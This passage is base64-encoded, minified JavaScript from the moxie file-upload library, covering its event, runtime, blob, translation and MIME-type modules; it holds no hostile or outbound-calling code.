saWVudFJlY3QoKSx0PSJDU1MxQ29tcGF0Ij09PXUuY29tcGF0TW9kZT91LmRvY3VtZW50RWxlbWVudDp1LmJvZHksbj1pLmxlZnQrdC5zY3JvbGxMZWZ0LHI9aS50b3ArdC5zY3JvbGxUb3ApLHt4Om4seTpyfX12YXIgbixyLG8scz0wLGE9MCx1PWRvY3VtZW50O2lmKGU9ZSx0PXR8fHUuYm9keSxlJiZlLmdldEJvdW5kaW5nQ2xpZW50UmVjdCYmIklFIj09PWMuYnJvd3NlciYmKCF1LmRvY3VtZW50TW9kZXx8dS5kb2N1bWVudE1vZGU8OCkpcmV0dXJuIHI9aShlKSxvPWkodCkse3g6ci54LW8ueCx5OnIueS1vLnl9O2ZvcihuPWU7biYmbiE9dCYmbi5ub2RlVHlwZTspcys9bi5vZmZzZXRMZWZ0fHwwLGErPW4ub2Zmc2V0VG9wfHwwLG49bi5vZmZzZXRQYXJlbnQ7Zm9yKG49ZS5wYXJlbnROb2RlO24mJm4hPXQmJm4ubm9kZVR5cGU7KXMtPW4uc2Nyb2xsTGVmdHx8MCxhLT1uLnNjcm9sbFRvcHx8MCxuPW4ucGFyZW50Tm9kZTtyZXR1cm57eDpzLHk6YX19LGdldFNpemU6ZnVuY3Rpb24oZSl7cmV0dXJue3c6ZS5vZmZzZXRXaWR0aHx8ZS5jbGllbnRXaWR0aCxoOmUub2Zmc2V0SGVpZ2h0fHxlLmNsaWVudEhlaWdodH19fX0pLGUoIm1veGllL2NvcmUvRXZlbnRUYXJnZXQiLFsibW94aWUvY29yZS91dGlscy9FbnYiLCJtb3hpZS9jb3JlL0V4Y2VwdGlvbnMiLCJtb3hpZS9jb3JlL3V0aWxzL0Jhc2ljIl0sZnVuY3Rpb24oZSxjLGwpe2Z1bmN0aW9uIHQoKXt0aGlzLnVpZD1sLmd1aWQoKX12YXIgZD17fTtyZXR1cm4gbC5leHRlbmQodC5wcm90b3R5cGUse2luaXQ6ZnVuY3Rpb24oKXt0aGlzLnVpZHx8KHRoaXMudWlkPWwuZ3VpZCgidWlkXyIpKX0sYWRkRXZlbnRMaXN0ZW5lcjpmdW5jdGlvbihlLHQsaSxuKXt2YXIgcixvPXRoaXM7cmV0dXJuIHRoaXMuaGFzT3duUHJvcGVydHkoInVpZCIpfHwodGhpcy51aWQ9bC5ndWlkKCJ1aWRfIikpLGU9bC50cmltKGUpLC9ccy8udGVzdChlKT92b2lkIGwuZWFjaChlLnNwbGl0KC9ccysvKSxmdW5jdGlvbihlKXtvLmFkZEV2ZW50TGlzdGVuZXIoZSx0LGksbil9KTooZT1lLnRvTG93ZXJDYXNlKCksaT1wYXJzZUludChpLDEwKXx8MCwocj1kW3RoaXMudWlkXSYmZFt0aGlzLnVpZF1bZV18fFtdKS5wdXNoKHtmbjp0LHByaW9yaXR5Omksc2NvcGU6bnx8dGhpc30pLGRbdGhpcy51aWRdfHwoZFt0aGlzLnVpZF09e30pLHZvaWQoZFt0aGlzLnVpZF1bZV09cikpfSxoYXNFdmVudExpc3RlbmVyOmZ1bmN0aW9uKGUpe3JldHVybihlPyhlPWUudG9Mb3dlckNhc2UoKSxkW3RoaXMudWlkXSYmZFt0aGlzLnVpZF1bZV0pOmRbdGhpcy51aWRdKXx8ITF9LHJlbW92ZUV2ZW50TGlzdGVuZXI6ZnVuY3Rpb24oZSx0KXt2YXIgaSxuLHI9dGhpcztpZihlPWUudG9Mb3dlckNhc2UoKSwvXHMvLnRlc3QoZSkpbC5lYWNoKGUuc3BsaXQoL1xzKy8pLGZ1bmN0aW9uKGUpe3IucmVtb3ZlRXZlbnRMaXN0ZW5lcihlLHQpfSk7ZWxzZSBpZihpPWRbdGhpcy51aWRdJiZkW3RoaXMudWlkXVtlXSl7aWYodCl7Zm9yKG49aS5sZW5ndGgtMTswPD1uO24tLSlpZihpW25dLmZuPT09dCl7aS5zcGxpY2UobiwxKTticmVha319ZWxzZSBpPVtdO2kubGVuZ3RofHwoZGVsZXRlIGRbdGhpcy51aWRdW2VdLGwuaXNFbXB0eU9iaihkW3RoaXMudWlkXSkmJmRlbGV0ZSBkW3RoaXMudWlkXSl9fSxyZW1vdmVBbGxFdmVudExpc3RlbmVyczpmdW5jdGlvbigpe2RbdGhpcy51aWRdJiZkZWxldGUgZFt0aGlzLnVpZF19LGRpc3BhdGNoRXZlbnQ6ZnVuY3Rpb24oZSl7dmFyIHQsaSxuLHIsbyxzPXt9LGE9ITA7aWYoInN0cmluZyIhPT1sLnR5cGVPZihlKSl7aWYocj1lLCJzdHJpbmciIT09bC50eXBlT2Yoci50eXBlKSl0aHJvdyBuZXcgYy5FdmVudEV4Y2VwdGlvbihjLkV2ZW50RXhjZXB0aW9uLlVOU1BFQ0lGSUVEX0VWRU5UX1RZUEVfRVJSKTtlPXIudHlwZSx2b2lkIDAhPT1yLnRvdGFsJiZ2b2lkIDAhPT1yLmxvYWRlZCYmKHMudG90YWw9ci50b3RhbCxzLmxvYWRlZD1yLmxvYWRlZCkscy5hc3luYz1yLmFzeW5jfHwhMX1pZigtMSE9PWUuaW5kZXhPZigiOjoiKT8odD0obz1lLnNwbGl0KCI6OiIpKVswXSxlPW9bMV0pOnQ9dGhpcy51aWQsZT1lLnRvTG93ZXJDYXNlKCksaT1kW3RdJiZkW3RdW2VdKXtpLnNvcnQoZnVuY3Rpb24oZSx0KXtyZXR1cm4gdC5wcmlvcml0eS1lLnByaW9yaXR5fSksKG49W10uc2xpY2UuY2FsbChhcmd1bWVudHMpKS5zaGlmdCgpLHMudHlwZT1lLG4udW5zaGlmdChzKTt2YXIgdT1bXTtsLmVhY2goaSxmdW5jdGlvbih0KXtuWzBdLnRhcmdldD10LnNjb3BlLHMuYXN5bmM/dS5wdXNoKGZ1bmN0aW9uKGUpe3NldFRpbWVvdXQoZnVuY3Rpb24oKXtlKCExPT09dC5mbi5hcHBseSh0LnNjb3BlLG4pKX0sMSl9KTp1LnB1c2goZnVuY3Rpb24oZSl7ZSghMT09PXQuZm4uYXBwbHkodC5zY29wZSxuKSl9KX0pLHUubGVuZ3RoJiZsLmluU2VyaWVzKHUsZnVuY3Rpb24oZSl7YT0hZX0pfXJldHVybiBhfSxiaW5kT25jZTpmdW5jdGlvbih0LGksZSxuKXt2YXIgcj10aGlzO3IuYmluZC5jYWxsKHRoaXMsdCxmdW5jdGlvbiBlKCl7cmV0dXJuIHIudW5iaW5kKHQsZSksaS5hcHBseSh0aGlzLGFyZ3VtZW50cyl9LGUsbil9LGJpbmQ6ZnVuY3Rpb24oKXt0aGlzLmFkZEV2ZW50TGlzdGVuZXIuYXBwbHkodGhpcyxhcmd1bWVudHMpfSx1bmJpbmQ6ZnVuY3Rpb24oKXt0aGlzLnJlbW92ZUV2ZW50TGlzdGVuZXIuYXBwbHkodGhpcyxhcmd1bWVudHMpfSx1bmJpbmRBbGw6ZnVuY3Rpb24oKXt0aGlzLnJlbW92ZUFsbEV2ZW50TGlzdGVuZXJzLmFwcGx5KHRoaXMsYXJndW1lbnRzKX0sdHJpZ2dlcjpmdW5jdGlvbigpe3JldHVybiB0aGlzLmRpc3BhdGNoRXZlbnQuYXBwbHkodGhpcyxhcmd1bWVudHMpfSxoYW5kbGVFdmVudFByb3BzOmZ1bmN0aW9uKGUpe3ZhciB0PXRoaXM7dGhpcy5iaW5kKGUuam9pbigiICIpLGZ1bmN0aW9uKGUpe3ZhciB0PSJvbiIrZS50eXBlLnRvTG93ZXJDYXNlKCk7ImZ1bmN0aW9uIj09PWwudHlwZU9mKHRoaXNbdF0pJiZ0aGlzW3RdLmFwcGx5KHRoaXMsYXJndW1lbnRzKX0pLGwuZWFjaChlLGZ1bmN0aW9uKGUpe2U9Im9uIitlLnRvTG93ZXJDYXNlKGUpLCJ1bmRlZmluZWQiPT09bC50eXBlT2YodFtlXSkmJih0W2VdPW51bGwpfSl9fSksdC5pbnN0YW5jZT1uZXcgdCx0fSksZSgibW94aWUvcnVudGltZS9SdW50aW1lIixbIm1veGllL2NvcmUvdXRpbHMvRW52IiwibW94aWUvY29yZS91dGlscy9CYXNpYyIsIm1veGllL2NvcmUvdXRpbHMvRG9tIiwibW94aWUvY29yZS9FdmVudFRhcmdldCJdLGZ1bmN0aW9uKHQsbCxkLGkpe2Z1bmN0aW9uIGgoZSx0LHIsaSxuKXt2YXIgbyxzLGE9dGhpcyx1PWwuZ3VpZCh0KyJfIiksYz1ufHwiYnJvd3NlciI7ZT1lfHx7fSxwW3VdPXRoaXMscj1sLmV4dGVuZCh7YWNjZXNzX2JpbmFyeTohMSxhY2Nlc3NfaW1hZ2VfYmluYXJ5OiExLGRpc3BsYXlfbWVkaWE6ITEsZG9fY29yczohMSxkcmFnX2FuZF9kcm9wOiExLGZpbHRlcl9ieV9leHRlbnNpb246ITAscmVzaXplX2ltYWdlOiExLHJlcG9ydF91cGxvYWRfcHJvZ3Jlc3M6ITEscmV0dXJuX3Jlc3BvbnNlX2hlYWRlcnM6ITEscmV0dXJuX3Jlc3BvbnNlX3R5cGU6ITEscmV0dXJuX3N0YXR1c19jb2RlOiEwLHNlbmRfY3VzdG9tX2hlYWRlcnM6ITEsc2VsZWN0X2ZpbGU6ITEsc2VsZWN0X2ZvbGRlcjohMSxzZWxlY3RfbXVsdGlwbGU6ITAsc2VuZF9iaW5hcnlfc3RyaW5nOiExLHNlbmRfYnJvd3Nlcl9jb29raWVzOiEwLHNlbmRfbXVsdGlwYXJ0OiEwLHNsaWNlX2Jsb2I6ITEsc3RyZWFtX3VwbG9hZDohMSxzdW1tb25fZmlsZV9kaWFsb2c6ITEsdXBsb2FkX2ZpbGVzaXplOiEwLHVzZV9odHRwX21ldGhvZDohMH0sciksZS5wcmVmZXJyZWRfY2FwcyYmKGM9aC5nZXRNb2RlKGksZS5wcmVmZXJyZWRfY2FwcyxjKSkscz17fSxvPXtleGVjOmZ1bmN0aW9uKGUsdCxpLG4pe3JldHVybiBvW3RdJiYoc1tlXXx8KHNbZV09e2NvbnRleHQ6dGhpcyxpbnN0YW5jZTpuZXcgb1t0XX0pLHNbZV0uaW5zdGFuY2VbaV0pP3NbZV0uaW5zdGFuY2VbaV0uYXBwbHkodGhpcyxuKTp2b2lkIDB9LHJlbW92ZUluc3RhbmNlOmZ1bmN0aW9uKGUpe2RlbGV0ZSBzW2VdfSxyZW1vdmVBbGxJbnN0YW5jZXM6ZnVuY3Rpb24oKXt2YXIgaT10aGlzO2wuZWFjaChzLGZ1bmN0aW9uKGUsdCl7ImZ1bmN0aW9uIj09PWwudHlwZU9mKGUuaW5zdGFuY2UuZGVzdHJveSkmJmUuaW5zdGFuY2UuZGVzdHJveS5jYWxsKGUuY29udGV4dCksaS5yZW1vdmVJbnN0YW5jZSh0KX0pfX0sbC5leHRlbmQodGhpcyx7aW5pdGlhbGl6ZWQ6ITEsdWlkOnUsdHlwZTp0LG1vZGU6aC5nZXRNb2RlKGksZS5yZXF1aXJlZF9jYXBzLGMpLHNoaW1pZDp1KyJfY29udGFpbmVyIixjbGllbnRzOjAsb3B0aW9uczplLGNhbjpmdW5jdGlvbihlLHQpe3ZhciBpPWFyZ3VtZW50c1syXXx8cjtpZigic3RyaW5nIj09PWwudHlwZU9mKGUpJiYidW5kZWZpbmVkIj09PWwudHlwZU9mKHQpJiYoZT1oLnBhcnNlQ2FwcyhlKSksIm9iamVjdCIhPT1sLnR5cGVPZihlKSlyZXR1cm4iZnVuY3Rpb24iPT09bC50eXBlT2YoaVtlXSk/aVtlXS5jYWxsKHRoaXMsdCk6dD09PWlbZV07Zm9yKHZhciBuIGluIGUpaWYoIXRoaXMuY2FuKG4sZVtuXSxpKSlyZXR1cm4hMTtyZXR1cm4hMH0sZ2V0U2hpbUNvbnRhaW5lcjpmdW5jdGlvbigpe3ZhciBlLHQ9ZC5nZXQodGhpcy5zaGltaWQpO3JldHVybiB0fHwoZT1kLmdldCh0aGlzLm9wdGlvbnMuY29udGFpbmVyKXx8ZG9jdW1lbnQuYm9keSwodD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJkaXYiKSkuaWQ9dGhpcy5zaGltaWQsdC5jbGFzc05hbWU9Im1veGllLXNoaW0gbW94aWUtc2hpbS0iK3RoaXMudHlwZSxsLmV4dGVuZCh0LnN0eWxlLHtwb3NpdGlvbjoiYWJzb2x1dGUiLHRvcDoiMHB4IixsZWZ0OiIwcHgiLHdpZHRoOiIxcHgiLGhlaWdodDoiMXB4IixvdmVyZmxvdzoiaGlkZGVuIn0pLGUuYXBwZW5kQ2hpbGQodCksZT1udWxsKSx0fSxnZXRTaGltOmZ1bmN0aW9uKCl7cmV0dXJuIG99LHNoaW1FeGVjOmZ1bmN0aW9uKGUsdCl7dmFyIGk9W10uc2xpY2UuY2FsbChhcmd1bWVudHMsMik7cmV0dXJuIGEuZ2V0U2hpbSgpLmV4ZWMuY2FsbCh0aGlzLHRoaXMudWlkLGUsdCxpKX0sZXhlYzpmdW5jdGlvbihlLHQpe3ZhciBpPVtdLnNsaWNlLmNhbGwoYXJndW1lbnRzLDIpO3JldHVybiBhW2VdJiZhW2VdW3RdP2FbZV1bdF0uYXBwbHkodGhpcyxpKTphLnNoaW1FeGVjLmFwcGx5KHRoaXMsYXJndW1lbnRzKX0sZGVzdHJveTpmdW5jdGlvbigpe2lmKGEpe3ZhciBlPWQuZ2V0KHRoaXMuc2hpbWlkKTtlJiZlLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQoZSksbyYmby5yZW1vdmVBbGxJbnN0YW5jZXMoKSx0aGlzLnVuYmluZEFsbCgpLGRlbGV0ZSBwW3RoaXMudWlkXSx0aGlzLnVpZD1udWxsLHU9YT1vPWU9bnVsbH19fSksdGhpcy5tb2RlJiZlLnJlcXVpcmVkX2NhcHMmJiF0aGlzLmNhbihlLnJlcXVpcmVkX2NhcHMpJiYodGhpcy5tb2RlPSExKX12YXIgbj17fSxwPXt9O3JldHVybiBoLm9yZGVyPSJodG1sNSxmbGFzaCxzaWx2ZXJsaWdodCxodG1sNCIsaC5nZXRSdW50aW1lPWZ1bmN0aW9uKGUpe3JldHVybiEhcFtlXSYmcFtlXX0saC5hZGRDb25zdHJ1Y3Rvcj1mdW5jdGlvbihlLHQpe3QucHJvdG90eXBlPWkuaW5zdGFuY2UsbltlXT10fSxoLmdldENvbnN0cnVjdG9yPWZ1bmN0aW9uKGUpe3JldHVybiBuW2VdfHxudWxsfSxoLmdldEluZm89ZnVuY3Rpb24oZSl7dmFyIHQ9aC5nZXRSdW50aW1lKGUpO3JldHVybiB0P3t1aWQ6dC51aWQsdHlwZTp0LnR5cGUsbW9kZTp0Lm1vZGUsY2FuOmZ1bmN0aW9uKCl7cmV0dXJuIHQuY2FuLmFwcGx5KHQsYXJndW1lbnRzKX19Om51bGx9LGgucGFyc2VDYXBzPWZ1bmN0aW9uKGUpe3ZhciB0PXt9O3JldHVybiJzdHJpbmciIT09bC50eXBlT2YoZSk/ZXx8e306KGwuZWFjaChlLnNwbGl0KCIsIiksZnVuY3Rpb24oZSl7dFtlXT0hMH0pLHQpfSxoLmNhbj1mdW5jdGlvbihlLHQpe3ZhciBpLG4scj1oLmdldENvbnN0cnVjdG9yKGUpO3JldHVybiEhciYmKG49KGk9bmV3IHIoe3JlcXVpcmVkX2NhcHM6dH0pKS5tb2RlLGkuZGVzdHJveSgpLCEhbil9LGgudGhhdENhbj1mdW5jdGlvbihlLHQpe3ZhciBpPSh0fHxoLm9yZGVyKS5zcGxpdCgvXHMqLFxzKi8pO2Zvcih2YXIgbiBpbiBpKWlmKGguY2FuKGlbbl0sZSkpcmV0dXJuIGlbbl07cmV0dXJuIG51bGx9LGguZ2V0TW9kZT1mdW5jdGlvbihuLGUsdCl7dmFyIHI9bnVsbDtpZigidW5kZWZpbmVkIj09PWwudHlwZU9mKHQpJiYodD0iYnJvd3NlciIpLGUmJiFsLmlzRW1wdHlPYmoobikpe2lmKGwuZWFjaChlLGZ1bmN0aW9uKGUsdCl7aWYobi5oYXNPd25Qcm9wZXJ0eSh0KSl7dmFyIGk9blt0XShlKTtpZigic3RyaW5nIj09dHlwZW9mIGkmJihpPVtpXSkscil7aWYoIShyPWwuYXJyYXlJbnRlcnNlY3QocixpKSkpcmV0dXJuIHI9ITF9ZWxzZSByPWl9fSkscilyZXR1cm4tMSE9PWwuaW5BcnJheSh0LHIpP3Q6clswXTtpZighMT09PXIpcmV0dXJuITF9cmV0dXJuIHR9LGguZ2V0R2xvYmFsRXZlbnRUYXJnZXQ9ZnVuY3Rpb24oKXtpZigvXm1veGllXC4vLnRlc3QodC5nbG9iYWxfZXZlbnRfZGlzcGF0Y2hlcikmJiF0LmNhbigiYWNjZXNzX2dsb2JhbF9ucyIpKXt2YXIgZT1sLmd1aWQoIm1veGllX2V2ZW50X3RhcmdldF8iKTt3aW5kb3dbZV09ZnVuY3Rpb24oZSx0KXtpLmluc3RhbmNlLmRpc3BhdGNoRXZlbnQoZSx0KX0sdC5nbG9iYWxfZXZlbnRfZGlzcGF0Y2hlcj1lfXJldHVybiB0Lmdsb2JhbF9ldmVudF9kaXNwYXRjaGVyfSxoLmNhcFRydWU9ZnVuY3Rpb24oKXtyZXR1cm4hMH0saC5jYXBGYWxzZT1mdW5jdGlvbigpe3JldHVybiExfSxoLmNhcFRlc3Q9ZnVuY3Rpb24oZSl7cmV0dXJuIGZ1bmN0aW9uKCl7cmV0dXJuISFlfX0saH0pLGUoIm1veGllL3J1bnRpbWUvUnVudGltZUNsaWVudCIsWyJtb3hpZS9jb3JlL3V0aWxzL0VudiIsIm1veGllL2NvcmUvRXhjZXB0aW9ucyIsIm1veGllL2NvcmUvdXRpbHMvQmFzaWMiLCJtb3hpZS9ydW50aW1lL1J1bnRpbWUiXSxmdW5jdGlvbihlLGEsdCx1KXtyZXR1cm4gZnVuY3Rpb24oKXt2YXIgczt0LmV4dGVuZCh0aGlzLHtjb25uZWN0UnVudGltZTpmdW5jdGlvbihyKXt2YXIgZSxvPXRoaXM7aWYoInN0cmluZyI9PT10LnR5cGVPZihyKT9lPXI6InN0cmluZyI9PT10LnR5cGVPZihyLnJ1aWQpJiYoZT1yLnJ1aWQpLGUpe2lmKHM9dS5nZXRSdW50aW1lKGUpKXJldHVybiBvLnJ1aWQ9ZSxzLmNsaWVudHMrKyxzO3Rocm93IG5ldyBhLlJ1bnRpbWVFcnJvcihhLlJ1bnRpbWVFcnJvci5OT1RfSU5JVF9FUlIpfSFmdW5jdGlvbiBlKHQpe3ZhciBpLG47cmV0dXJuIHQubGVuZ3RoPyhpPXQuc2hpZnQoKS50b0xvd2VyQ2FzZSgpLChuPXUuZ2V0Q29uc3RydWN0b3IoaSkpPygocz1uZXcgbihyKSkuYmluZCgiSW5pdCIsZnVuY3Rpb24oKXtzLmluaXRpYWxpemVkPSEwLHNldFRpbWVvdXQoZnVuY3Rpb24oKXtzLmNsaWVudHMrKyxvLnJ1aWQ9cy51aWQsby50cmlnZ2VyKCJSdW50aW1lSW5pdCIscyl9LDEpfSkscy5iaW5kKCJFcnJvciIsZnVuY3Rpb24oKXtzLmRlc3Ryb3koKSxlKHQpfSkscy5iaW5kKCJFeGNlcHRpb24iLGZ1bmN0aW9uKGUsdCl7dmFyIGk9dC5uYW1lKyIoIyIrdC5jb2RlKyIpIisodC5tZXNzYWdlPyIsIGZyb206ICIrdC5tZXNzYWdlOiIiKTtvLnRyaWdnZXIoIlJ1bnRpbWVFcnJvciIsbmV3IGEuUnVudGltZUVycm9yKGEuUnVudGltZUVycm9yLkVYQ0VQVElPTl9FUlIsaSkpfSkscy5tb2RlP3ZvaWQgcy5pbml0KCk6dm9pZCBzLnRyaWdnZXIoIkVycm9yIikpOnZvaWQgZSh0KSk6KG8udHJpZ2dlcigiUnVudGltZUVycm9yIixuZXcgYS5SdW50aW1lRXJyb3IoYS5SdW50aW1lRXJyb3IuTk9UX0lOSVRfRVJSKSksdm9pZChzPW51bGwpKX0oKHIucnVudGltZV9vcmRlcnx8dS5vcmRlcikuc3BsaXQoL1xzKixccyovKSl9LGRpc2Nvbm5lY3RSdW50aW1lOmZ1bmN0aW9uKCl7cyYmLS1zLmNsaWVudHM8PTAmJnMuZGVzdHJveSgpLHM9bnVsbH0sZ2V0UnVudGltZTpmdW5jdGlvbigpe3JldHVybiBzJiZzLnVpZD9zOnM9bnVsbH0sZXhlYzpmdW5jdGlvbigpe3JldHVybiBzP3MuZXhlYy5hcHBseSh0aGlzLGFyZ3VtZW50cyk6bnVsbH0sY2FuOmZ1bmN0aW9uKGUpe3JldHVybiEhcyYmcy5jYW4oZSl9fSl9fSksZSgibW94aWUvZmlsZS9CbG9iIixbIm1veGllL2NvcmUvdXRpbHMvQmFzaWMiLCJtb3hpZS9jb3JlL3V0aWxzL0VuY29kZSIsIm1veGllL3J1bnRpbWUvUnVudGltZUNsaWVudCJdLGZ1bmN0aW9uKHMsaSxuKXt2YXIgYT17fTtyZXR1cm4gZnVuY3Rpb24gbyhlLHQpe24uY2FsbCh0aGlzKSxlJiZ0aGlzLmNvbm5lY3RSdW50aW1lKGUpLHQ/InN0cmluZyI9PT1zLnR5cGVPZih0KSYmKHQ9e2RhdGE6dH0pOnQ9e30scy5leHRlbmQodGhpcyx7dWlkOnQudWlkfHxzLmd1aWQoInVpZF8iKSxydWlkOmUsc2l6ZTp0LnNpemV8fDAsdHlwZTp0LnR5cGV8fCIiLHNsaWNlOmZ1bmN0aW9uKGUsdCxpKXtyZXR1cm4gdGhpcy5pc0RldGFjaGVkKCk/ZnVuY3Rpb24oZSx0LGkpe3ZhciBuLHI9YVt0aGlzLnVpZF07cmV0dXJuInN0cmluZyI9PT1zLnR5cGVPZihyKSYmci5sZW5ndGg/KChuPW5ldyBvKG51bGwse3R5cGU6aSxzaXplOnQtZX0pKS5kZXRhY2goci5zdWJzdHIoZSxuLnNpemUpKSxuKTpudWxsfS5hcHBseSh0aGlzLGFyZ3VtZW50cyk6dGhpcy5nZXRSdW50aW1lKCkuZXhlYy5jYWxsKHRoaXMsIkJsb2IiLCJzbGljZSIsdGhpcy5nZXRTb3VyY2UoKSxlLHQsaSl9LGdldFNvdXJjZTpmdW5jdGlvbigpe3JldHVybiBhW3RoaXMudWlkXT9hW3RoaXMudWlkXTpudWxsfSxkZXRhY2g6ZnVuY3Rpb24oZSl7aWYodGhpcy5ydWlkJiYodGhpcy5nZXRSdW50aW1lKCkuZXhlYy5jYWxsKHRoaXMsIkJsb2IiLCJkZXN0cm95IiksdGhpcy5kaXNjb25uZWN0UnVudGltZSgpLHRoaXMucnVpZD1udWxsKSwiZGF0YToiPT0oZT1lfHwiIikuc3Vic3RyKDAsNSkpe3ZhciB0PWUuaW5kZXhPZigiO2Jhc2U2NCwiKTt0aGlzLnR5cGU9ZS5zdWJzdHJpbmcoNSx0KSxlPWkuYXRvYihlLnN1YnN0cmluZyh0KzgpKX10aGlzLnNpemU9ZS5sZW5ndGgsYVt0aGlzLnVpZF09ZX0saXNEZXRhY2hlZDpmdW5jdGlvbigpe3JldHVybiF0aGlzLnJ1aWQmJiJzdHJpbmciPT09cy50eXBlT2YoYVt0aGlzLnVpZF0pfSxkZXN0cm95OmZ1bmN0aW9uKCl7dGhpcy5kZXRhY2goKSxkZWxldGUgYVt0aGlzLnVpZF19fSksdC5kYXRhP3RoaXMuZGV0YWNoKHQuZGF0YSk6YVt0aGlzLnVpZF09dH19KSxlKCJtb3hpZS9jb3JlL0kxOG4iLFsibW94aWUvY29yZS91dGlscy9CYXNpYyJdLGZ1bmN0aW9uKGkpe3ZhciB0PXt9O3JldHVybnthZGRJMThuOmZ1bmN0aW9uKGUpe3JldHVybiBpLmV4dGVuZCh0LGUpfSx0cmFuc2xhdGU6ZnVuY3Rpb24oZSl7cmV0dXJuIHRbZV18fGV9LF86ZnVuY3Rpb24oZSl7cmV0dXJuIHRoaXMudHJhbnNsYXRlKGUpfSxzcHJpbnRmOmZ1bmN0aW9uKGUpe3ZhciB0PVtdLnNsaWNlLmNhbGwoYXJndW1lbnRzLDEpO3JldHVybiBlLnJlcGxhY2UoLyVbYS16XS9nLGZ1bmN0aW9uKCl7dmFyIGU9dC5zaGlmdCgpO3JldHVybiJ1bmRlZmluZWQiIT09aS50eXBlT2YoZSk/ZToiIn0pfX19KSxlKCJtb3hpZS9jb3JlL3V0aWxzL01pbWUiLFsibW94aWUvY29yZS91dGlscy9CYXNpYyIsIm1veGllL2NvcmUvSTE4biJdLGZ1bmN0aW9uKGEsbil7dmFyIG89e30scz17fSxlPWZ1bmN0aW9uKGUpe3ZhciB0LGksbixyPWUuc3BsaXQoLywvKTtmb3IodD0wO3Q8ci5sZW5ndGg7dCs9Mil7Zm9yKG49clt0KzFdLnNwbGl0KC8gLyksaT0wO2k8bi5sZW5ndGg7aSsrKW9bbltpXV09clt0XTtzW3JbdF1dPW59fSxyPWZ1bmN0aW9uKGUpe3ZhciBuPVtdO3JldHVybiBhLmVhY2goZSxmdW5jdGlvbihlKXtpZigiKiI9PT0oZT1lLnRvTG93ZXJDYXNlKCkpKXJldHVybiEobj1bXSk7dmFyIGk9ZS5tYXRjaCgvXihcdyspXC8oXCp8XHcrKSQvKTtpJiYoIioiPT09aVsyXT9hLmVhY2gocyxmdW5jdGlvbihlLHQpe25ldyBSZWdFeHAoIl4iK2lbMV0rIi8iKS50ZXN0KHQpJiZbXS5wdXNoLmFwcGx5KG4sc1t0XSl9KTpzW2VdJiZbXS5wdXNoLmFwcGx5KG4sc1tlXSkpfSksbn0sdD1mdW5jdGlvbihlKXt2YXIgdD1lJiZlLm1hdGNoKC9cLihbXi5dKykkLyk7cmV0dXJuIHQ/dFsxXS50b0xvd2VyQ2FzZSgpOiIifTtyZXR1cm4gZSgiYXBwbGljYXRpb24vbXN3b3JkLGRvYyBkb3QsYXBwbGljYXRpb24vcGRmLHBkZixhcHBsaWNhdGlvbi9wZ3Atc2lnbmF0dXJlLHBncCxhcHBsaWNhdGlvbi9wb3N0c2NyaXB0LHBzIGFpIGVwcyxhcHBsaWNhdGlvbi9ydGYscnRmLGFwcGxpY2F0aW9uL3ZuZC5tcy1leGNlbCx4bHMgeGxiIHhsdCB4bGEsYXBwbGljYXRpb24vdm5kLm1zLXBvd2VycG9pbnQscHB0IHBwcyBwb3QgcHBhLGFwcGxpY2F0aW9uL3ppcCx6aXAsYXBwbGljYXRpb24veC1zaG9ja3dhdmUtZmxhc2gsc3dmIHN3ZmwsYXBwbGljYXRpb24vdm5kLm9wZW54bWxmb3JtYXRzLW9mZmljZWRvY3VtZW50LndvcmRwcm9jZXNzaW5nbWwuZG9jdW1lbnQsZG9jeCxhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQud29yZHByb2Nlc3NpbmdtbC50ZW1wbGF0ZSxkb3R4LGFwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC5zcHJlYWRzaGVldG1sLnNoZWV0LHhsc3gsYXBwbGljYXRpb24vdm5kLm9wZW54bWxmb3JtYXRzLW9mZmljZWRvY3VtZW50LnByZXNlbnRhdGlvbm1sLnByZXNlbnRhdGlvbixwcHR4LGFwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC5wcmVzZW50YXRpb25tbC50ZW1wbGF0ZSxwb3R4LGFwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC5wcmVzZW50YXRpb25tbC5zbGlkZXNob3cscHBzeCxhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQsanMsYXBwbGljYXRpb24vanNvbixqc29uLGF1ZGlvL21wZWcsbXAzIG1wZ2EgbXBlZ2EgbXAyLGF1ZGlvL3gtd2F2LHdhdixhdWRpby94LW00YSxtNGEsYXVkaW8vb2dnLG9nYSBvZ2csYXVkaW8vYWlmZixhaWZmIGFpZixhdWRpby9mbGFjLGZsYWMsYXVkaW8vYWFjLGFhYyxhdWRpby9hYzMsYWMzLGF1ZGlvL3gtbXMtd21hLHdtYSxpbWFnZS9ibXAsYm1wLGltYWdlL2dpZixnaWYsaW1hZ2UvanBlZyxqcGcganBlZyBqcGUsaW1hZ2UvcGhvdG9zaG9wLHBzZCxpbWFnZS9wbmcscG5nLGltYWdlL3N2Zyt4bWwsc3ZnIHN2Z3osaW1hZ2UvdGlmZix0aWZmIHRpZix0ZXh0L3BsYWluLGFzYyB0eHQgdGV4dCBkaWZmIGxvZyx0ZXh0L2h0bWwsaHRtIGh0bWwgeGh0bWwsdGV4dC9jc3MsY3NzLHRleHQvY3N2LGNzdix0ZXh0L3J0ZixydGYsdmlkZW8vbXBlZyxtcGVnIG1wZyBtcGUgbTJ2LHZpZGVvL3F1aWNrdGltZSxxdCBtb3YsdmlkZW8vbXA0LG1wNCx2aWRlby94LW00dixtNHYsdmlkZW8veC1mbHYsZmx2LHZpZGVvL3gtbXMtd212LHdtdix2aWRlby9hdmksYXZpLHZpZGVvL3dlYm0sd2VibSx2aWRlby8zZ3BwLDNncHAgM2dwLHZpZGVvLzNncHAyLDNnMix2aWRlby92bmQucm4tcmVhbHZpZGVvLHJ2LHZpZGVvL29nZyxvZ3YsdmlkZW8veC1tYXRyb3NrYSxta3YsYXBwbGljYXRpb24vdm5kLm9hc2lzLm9wZW5kb2N1bWVudC5mb3JtdWxhLXRlbXBsYXRlLG90ZixhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0sZXhlIikse21pbWVzOm8sZXh0ZW5zaW9uczpzLGFkZE1pbWVUeXBlOmUsZXh0TGlzdDJtaW1lczpmdW5jdGlvbihlLHQpe3ZhciBpLG4scixvLHM9W107Zm9yKG49MDtuP